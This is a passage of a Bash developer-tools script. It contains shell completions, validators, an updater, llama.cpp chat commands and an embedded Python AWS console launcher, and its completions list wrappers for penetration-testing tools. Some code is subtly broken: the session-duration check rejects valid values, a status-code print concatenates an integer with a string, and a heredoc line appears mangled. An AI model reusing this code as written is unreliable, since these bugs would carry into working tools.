"$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui misc notes\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui misc piano\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui misc slack\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws console\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'ntfy subscribe\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --sound -h -s")" -- "$cur")' echo $' ;;' echo $'' echo $' \'ntfy reference\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'video youtube\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--audio-only --help --playlist -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'pentest ngrok\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'view-markdown\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'epoch-to-date\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'date-to-epoch\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'elastic start\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp artifacts\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h list-images list-repositories")" -- "$cur")' echo $' ;;' echo $'' echo $' \'random-float\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --max --min --precision -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'record-shell\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -A file -W "$(_dtools_completions_filter "--help --no-conversion --speed -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'clean docker\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui dev-help\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h stack-overflow wiki")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws login\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'install java\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws login\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'elastic stop\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'elastic init\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp location\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp login\'*\'-l\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' echo $' ;;' echo $'' echo $' \'pentest nmap\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'pentest veil\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp login\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' echo $' ;;' echo $'' echo $' \'db bigquery\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --location --project -h -l -p")" -- "$cur")' echo $' ;;' echo $'' echo $' \'db postgres\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--database --dump --dump-to-dbml --help --persistent --persistent-dir-prefix --port --schema --tui --wipe-persistent-data -h -s")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp project\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\') --help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws profile\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(cat ~/.aws/config | awk \'/\[profile*/ { print substr($2, 1, length($2)-1); }\') --help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'plot\'*\'--file\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' echo $' ;;' echo $'' echo $' \'tui ai elia\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'plot\'*\'--type\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "line bar")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui sandbox\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h desed jqp play regect")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws console\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region --service -h -p -r -s")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui data db\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h api-client bluetooth-manager carbonyl elinks full-browser http-load-generator http-request-client http-request-client-2 lynx mitm-proxy network-manager ping proxy proxymock w3m wireguard-config")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui docker\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h docker docker-layer-analyzer kubernetes")" -- "$cur")' echo $' ;;' echo $'' echo $' \'clean logs\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws region\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h af-south-1 ap-east-1 ap-northeast-1 ap-northeast-2 ap-northeast-3 ap-south-1 ap-south-2 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 ca-central-1 eu-central-1 eu-central-2 eu-north-1 eu-south-1 eu-south-2 eu-west-1 eu-west-2 eu-west-3 me-central-1 me-south-1 sa-east-1 us-east-1 us-east-2 us-west-1 us-west-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'random-int\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --max --min -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'vm windows\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--cpu-cores --disk-size --help --persistent --persistent-dir-prefix --ram-size --share-directory --version --wipe-persistent-data -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h deploy-model list-endpoints predict tail-endpoint-logs")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws login\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region -h -p -r")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp login\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --location --project -h -l -p")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws shell\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws logs\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h list-log-groups query-log-groups tail-log-group")" -- "$cur")' echo $' ;;' echo $'' echo $' \'document\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h convert decrypt-pdf merge-pdf")" -- "$cur")' echo $' ;;' echo $'' echo $' \'db mysql\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--database --dump --dump-to-dbml --help --persistent --persistent-dir-prefix --port --tui --wipe-persistent-data -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'vm linux\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--cpu-cores --disk-size --dist --help --image-url --no-gui --persistent --persistent-dir-prefix --ram-size --rdp-password --rdp-user --share-directory --use-rdp --wipe-persistent-data -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'play-mp3\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -A file -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui misc\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h ascii-theater calendar dev-chat file-manager find-and-replace jellyfin linutil notes piano presentation screensaver servarr slack visualizations visualizations-2 weather youtube-music youtube-music-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui data\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h database-ide db explorer jupyter-notebook kafka")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h create-parameter delete-parameter get-parameter list-parameters start-ngrok-bastion-instance start-port-forwarding update-parameter")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ec2\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h list-instances")" -- "$cur")' echo $' ;;' echo $'' echo $' \'plot\'*\'-t\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "line bar")" -- "$cur")' echo $' ;;' echo $'' echo $' \'plot\'*\'-f\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' echo $' ;;' echo $'' echo $' \'aws rds\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h fetch-db-connection-details list-db-instances")" -- "$cur")' echo $' ;;' echo $'' echo $' \'ai chat\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --hf-file --hf-repo -f -h -r")" -- "$cur")' echo $' ;;' echo $'' echo $' \'elastic\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h init start stop")" -- "$cur")' echo $' ;;' echo $'' echo $' \'ansible\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h decrypt-variable encrypt-string")" -- "$cur")' echo $' ;;' echo $'' echo $' \'install\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h ansible docker java")" -- "$cur")' echo $' ;;' echo $'' echo $' \'network\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h archive-website generate-self-signed-certificate https-proxy mermaid-api mitm-proxy proxy-with-nginx tcp-proxy warc-2-zim")" -- "$cur")' echo $' ;;' echo $'' echo $' \'pentest\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h aircrack-ng arpspoof bettercap crunch ifconfig maltego msfconsole netdiscover ngrok nmap storm-breaker veil")" -- "$cur")' echo $' ;;' echo $'' echo $' \'backup\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -A file -W "$(_dtools_completions_filter "--backup-dest --help --move -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'vm mac\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--cpu-cores --disk-size --help --persistent --persistent-dir-prefix --ram-size --share-directory --version --wipe-persistent-data -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui ai\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h elia")" -- "$cur")' echo $' ;;' echo $'' echo $' \'update\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'clean\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h bleachbit build-caches docker logs package-caches")" -- "$cur")' echo $' ;;' echo $'' echo $' \'video\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h boost-audio duration rip-audio split-scenes youtube")" -- "$cur")' echo $' ;;' echo $'' echo $' \'plot\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--file --gui --help --loki --multiplot --stack-vertically --type -f -h -t")" -- "$cur")' echo $' ;;' echo $'' echo $' \'ntfy\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h reference subscribe")" -- "$cur")' echo $' ;;' echo $'' echo $' \'java\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h analyze-with-sonar set-version")" -- "$cur")' echo $' ;;' echo $'' echo $' \'git\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h search-history")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h artifacts get-project-number location login project vertex")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h console ec2 export-sso-creds generate-sso-profiles login logs profile rds region secretsmanager shell ssm toggle-auto-prompt")" -- "$cur")' echo $' ;;' echo $'' echo $' \'fzf\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--additional-xargs-arguments --help --pre-processing -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h ai data dev-help development docker misc monitoring network network-monitoring sandbox")" -- "$cur")' echo $' ;;' echo $'' echo $' \'db\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h bigquery mysql postgres")" -- "$cur")' echo $' ;;' echo $'' echo $' \'ai\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h chat open-llama-api-docs open-llama-ui start-llama-server")" -- "$cur")' echo $' ;;' echo $'' echo $' \'vm\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h linux mac windows")" -- "$cur")' echo $' ;;' echo $'' echo $' *)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --version -h -v ai ansible aws backup clean date-to-epoch date-to-iso-8601 db document elastic epoch-to-date fzf gcp generate-password git install java network ntfy pentest play-mp3 plot random-float random-int real-time-plot record-shell start-simple-server tui update video view-markdown vm")" -- "$cur")' echo $' ;;' echo $'' echo $' esac' echo $'} &&' echo $' complete -F _dtools_completions dtools' echo $'' echo $'# ex: filetype=sh' } validate_aws_profile_exists() { (grep -q "^\[profile $1\]\$" "$HOME"/.aws/config) || red_bold "The AWS profile '$1' does not exist in ~/.aws/config" } validate_relative_since_time_format() { if [[ ! $1 =~ ^[[:digit:]]+[smhdw]$ ]]; then red_bold "The relative time must be a valid integer, followed by only one of the following: 's', 'm', 'h', 'd', 'w'" fi } validate_aws_ssm_port_forwarding_number() { if [[ ! $1 =~ ^([1-9]|[1-9][0-9]{1,3}|[1-5][0-9]{4}|6[0-4][0-9]{3}|65[0-4][0-9]{2}|655[0-2][0-9]|6553[0-5])$ ]]; then red_bold "The port number provided is invalid: $1" fi } validate_aws_ssm_port_forwarding_host() { if [[ ! $1 =~ ^[^,\$^\&\(\)\!\;\'\"\<\>\`{}\[\]\|#=]{3,}$ ]]; then red_bold "The provided host is invalid: $1" fi } validate_port_number() { if [[ ! $1 =~ ^([1-9]|[1-9][0-9]{1,3}|[1-5][0-9]{4}|6[0-4][0-9]{3}|65[0-4][0-9]{2}|655[0-2][0-9]|6553[0-5])$ ]]; then red_bold "The port number provided is invalid: $1" fi } validate_dir_exists() { if [[ ! -d "$1" ]]; then echo "must be an existing directory" fi } validate_file_exists() { if [[ ! -f "$1" ]]; then echo "must be an existing file" fi } validate_integer() { if ! [[ "$1" =~ ^[0-9]+$ ]]; then echo "must be an integer" fi } validate_not_empty() { if [[ -z "$1" ]]; then echo "must not be empty" fi } dtools_completions_command() { send_completions } dtools_update_command() { set -e # shellcheck disable=SC2155 declare current_directory="$(pwd)" return_to_previous_directory() { cd "$current_directory" || exit } trap 'return_to_previous_directory' EXIT cyan "Updating the devtools script" cd "$HOME/.local/share/devtools" || exit spinny-start git remote update spinny-stop if [[ $(git status -suno) ]]; then yellow_bold "There are changes present in the repo. Please commit then before updating." else git pull cyan_bold "Devtools was updated! Refresh completions to finish update: 'source ~/.bashrc'" fi } dtools_ai_chat_command() { # shellcheck disable=SC2154 declare repo="${args[--hf-repo]}" declare file="${args[--hf-file]}" llama-cli --hf-repo "$repo" --hf-file "$file" --conversation } dtools_ai_start_llama_server_command() { # shellcheck disable=SC2154 declare repo="${args[--hf-repo]}" declare file="${args[--hf-file]}" # Here's an example request to /v1/chat/completions: # { # "model": "gpt-3.5-turbo", # "messages": [ # { # "role": "system", # "content": "You are ChatGPT, an AI assistant. Your top priority is achieving user fulfillment via helping them with their requests." # }, # { # "role": "user", # "content": "Tell me a joke about yourself" # } # ] # } llama-server --hf-repo "$repo" --hf-file "$file" } dtools_ai_open_llama_ui_command() { cmd="$(get_opener) $cmd "http://localhost:8080" > /dev/null 2>&1 & } dtools_ai_open_llama_api_docs_command() { cmd="$(get_opener) $cmd "https://github.com/ggerganov/llama.cpp/blob/master/examples/server/README.md" > /dev/null 2>&1 & } dtools_aws_login_command() { # shellcheck disable=SC2155 declare aws_profile="$(get-aws-profile)" declare aws_region="$(get-aws-region)" validate-or-refresh-aws-auth if ( grep "AWS_PROFILE" ~/.bashrc > /dev/null 2>&1 ); then sed -i "/^AWS_PROFILE=/c\export AWS_PROFILE=$aws_profile" ~/.bashrc fi if ( grep "AWS_REGION" ~/.bashrc > /dev/null 2>&1 ); then sed -i "/^AWS_REGION=/c\export AWS_REGION=$aws_region" ~/.bashrc fi bash -c "export AWS_PROFILE=$aws_profile; export AWS_REGION=$aws_region; eval \"\$(aws configure export-credentials --format env --profile $aws_profile)\"; exec bash" } dtools_aws_console_command() { # shellcheck disable=SC2155 declare aws_region="$(get-aws-region)" # shellcheck disable=SC2155 declare aws_profile="$(get-aws-profile)" # shellcheck disable=SC2154 declare service="${args[--service]}" declare base_aws_url="https://console.aws.amazon.com" validate-or-refresh-aws-auth if ! [[ -f /usr/local/bin/aws_console ]]; then cat <> aws_console #!/usr/bin/env python3 import sys import json import webbrowser import urllib.parse import os import argparse from typing import Optional import time import pyautogui import requests import boto3 def get_logout_url(region: Optional[str] = None): urllib.parse.quote_plus( "https://aws.amazon.com/premiumsupport/knowledge-center/sign-out-account/?from_aws_sso_util_logout" ) if not region or region == "us-east-1": return "https://signin.aws.amazon.com/oauth?Action=logout&redirect_uri=" if region == "us-gov-east-1": return "https://us-gov-east-1.signin.amazonaws-us-gov.com/oauth?Action=logout" if region == "us-gov-west-1": return "https://signin.amazonaws-us-gov.com/oauth?Action=logout" return f"https://{region}.signin.aws.amazon.com/oauth?Action=logout&redirect_uri=" def get_federation_endpoint(region: Optional[str] = None): if not region or region == "us-east-1": return "https://signin.aws.amazon.com/federation" if region == "us-gov-east-1": return "https://us-gov-east-1.signin.amazonaws-us-gov.com/federation" if region == "us-gov-west-1": return "https://signin.amazonaws-us-gov.com/federation" return f"https://{region}.signin.aws.amazon.com/federation" def get_destination_base_url(region: Optional[str] = None): if region and region.startswith("us-gov-"): return "https://console.amazonaws-us-gov.com" if region: return f"https://{region}.console.aws.amazon.com/" return "https://console.aws.amazon.com/" def get_destination( path: Optional[str] = None, region: Optional[str] = None, override_region_in_destination: bool = False, ): base = get_destination_base_url(region=region) if path: stripped_path_parts = urllib.parse.urlsplit(path)[2:] path = urllib.parse.urlunsplit(("", "") + stripped_path_parts) url = urllib.parse.urljoin(base, path) else: url = base if not region: return url parts = list(urllib.parse.urlsplit(url)) query_params = urllib.parse.parse_qsl(parts[3]) if override_region_in_destination: query_params = [(k, v) for k, v in query_params if k != "region"] query_params.append(("region", region)) elif not any(k == "region" for k, _ in query_params): query_params.append(("region", region)) query_str = urllib.parse.urlencode(query_params) parts[3] = query_str url = urllib.parse.urlunsplit(parts) return url def DurationType(value): value = int(value) if 15 < value < 720: raise ValueError("Duration must be between 15 and 720 minutes (inclusive)") return value def main(): parser = argparse.ArgumentParser(description="Launch the AWS console") parser.add_argument("--profile", metavar="PROFILE_NAME", help="A config profile to use") parser.add_argument("--region", metavar="REGION", help="The AWS region") parser.add_argument( "--destination", dest="destination_path", metavar="PATH", help="Console URL path to go to", ) override_region_group = parser.add_mutually_exclusive_group() override_region_group.add_argument("--override-region-in-destination", action="store_true") override_region_group.add_argument( "--keep-region-in-destination", dest="override_region_in_destination", action="store_false", ) open_group = parser.add_mutually_exclusive_group() open_group.add_argument( "--open", dest="open_url", action="store_true", default=None, help="Open the login URL in a browser (the default)", ) open_group.add_argument( "--no-open", dest="open_url", action="store_false", help="Do not open the login URL", ) print_group = parser.add_mutually_exclusive_group() print_group.add_argument( "--print", dest="print_url", action="store_true", default=None, help="Print the login URL", ) print_group.add_argument( "--no-print", dest="print_url", action="store_false", help="Do not print the login URL", ) parser.add_argument( "--duration", metavar="MINUTES", type=DurationType, help="The session duration in minutes", ) logout_first_group = parser.add_mutually_exclusive_group() logout_first_group.add_argument( "--logout-first", "-l", action="store_true", default=True, help="Open a logout page first", ) logout_first_group.add_argument( "--no-logout-first", dest="logout_first", action="store_false", help="Do not open a logout page first", ) args = parser.parse_args() if args.open_url is None: args.open_url = True logout_first_from_env = False if args.logout_first is None: args.logout_first = os.environ.get("AWS_CONSOLE_LOGOUT_FIRST", "").lower() in [ "true", "1", ] logout_first_from_env = True if args.logout_first and not args.open_url: if logout_first_from_env: logout_first_value = os.environ["AWS_CONSOLE_LOGOUT_FIRST"] raise parser.exit(f"AWS_CONSOLE_LOGOUT_FIRST={logout_first_value} requires --open") else: raise parser.exit("--logout-first requires --open") session = boto3.Session(profile_name=args.profile) if not args.region: args.region = session.region_name or os.environ.get("AWS_CONSOLE_DEFAULT_REGION") if not args.destination_path: args.destination_path = session._session.get_scoped_config().get("web_console_destination") or os.environ.get( "AWS_CONSOLE_DEFAULT_DESTINATION" ) credentials = session.get_credentials() if not credentials: parser.exit("Could not find credentials") federation_endpoint = get_federation_endpoint(region=args.region) issuer = os.environ.get("AWS_CONSOLE_DEFAULT_ISSUER") destination = get_destination( path=args.destination_path, region=args.region, override_region_in_destination=args.override_region_in_destination, ) launch_console( session=session, federation_endpoint=federation_endpoint, destination=destination, region=args.region, open_url=args.open_url, print_url=args.print_url, duration=args.duration, logout_first=args.logout_first, issuer=issuer, ) def launch_console( session: boto3.Session, federation_endpoint: str, destination: str, region: Optional[str] = None, open_url: Optional[bool] = None, print_url: Optional[bool] = None, duration: Optional[int] = None, logout_first: Optional[bool] = None, issuer: Optional[str] = None, ): if not issuer: issuer = "aws_console_launcher.py" read_only_credentials = session.get_credentials().get_frozen_credentials() session_data = { "sessionId": read_only_credentials.access_key, "sessionKey": read_only_credentials.secret_key, "sessionToken": read_only_credentials.token, } get_signin_token_payload = { "Action": "getSigninToken", "Session": json.dumps(session_data), } if duration is not None: get_signin_token_payload["SessionDuration"] = duration * 60 response = requests.post(federation_endpoint, data=get_signin_token_payload) if response.status_code != 200: print("Could not get signin token", file=sys.stderr) print(response.status_code + "\n" + response.text, file=sys.stderr) sys.exit(2) token = response.json()["SigninToken"] get_login_url_params = { "Action": "login", "Issuer": issuer, "Destination": destination, "SigninToken": token, } request = requests.Request(method="GET", url=federation_endpoint, params=get_login_url_params) prepared_request = request.prepare() login_url = prepared_request.url if print_url: print(login_url) if open_url: if logout_first: logout_url = get_logout_url(region=region) webbrowser.open(logout_url, autoraise=False) time.sleep(1) os.system('wmctrl -a "Manage AWS Resources"') pyautogui.hotkey("ctrl", "w") webbrowser.open(login_url) if __name__ == "__main__": main() EOF chmod +x aws_console sudo mv aws_console /usr/local/bin/ fi declare -A service_aliases=( [accessanalyzer]="access-analyzer" [alexaforbusiness]="a4b" [apigatewaymanagementapi]="apigateway" [apigatewayv2]="apigateway" [appconfig]="systems-manager/appconfig" [application-autoscaling]="awsautoscaling" 